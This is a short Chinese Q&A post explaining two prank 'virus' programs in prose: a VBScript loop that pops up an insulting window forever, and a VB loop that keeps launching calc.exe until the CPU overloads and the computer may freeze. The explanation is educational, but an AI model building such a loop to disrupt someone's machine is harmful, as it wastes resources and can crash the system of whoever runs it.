谁能解释下面简单的电脑病毒代码？

我帮你"翻译"一下代码的意思。

这是一段vbs代码：直到(除非)1等于2，否则就一直弹出一个写有"烦死你"的窗口，因为1永远不等于2，所以不断的弹窗。

这是VB的一个简单编程，但是代码却不怀好意。这段代码的意思是说，当双击运行这个程序的时候，执行以下代码：直到(除非)1等于2，否则隐藏这个软件的窗体，然后显示这个软件的窗体，然后调用系统的"calc.exe"程序，也就是调用系统自带的"计算器"，因为1永远不等于2，所以这些步骤永远循环的执行下去。以现在的计算机来看，并不会"运行后马上死机"，我们的计算机还不至于这么差劲，不过cpu会高涨，根据不同计算机的配置，时间范围从很快死机到数秒后死机不等。
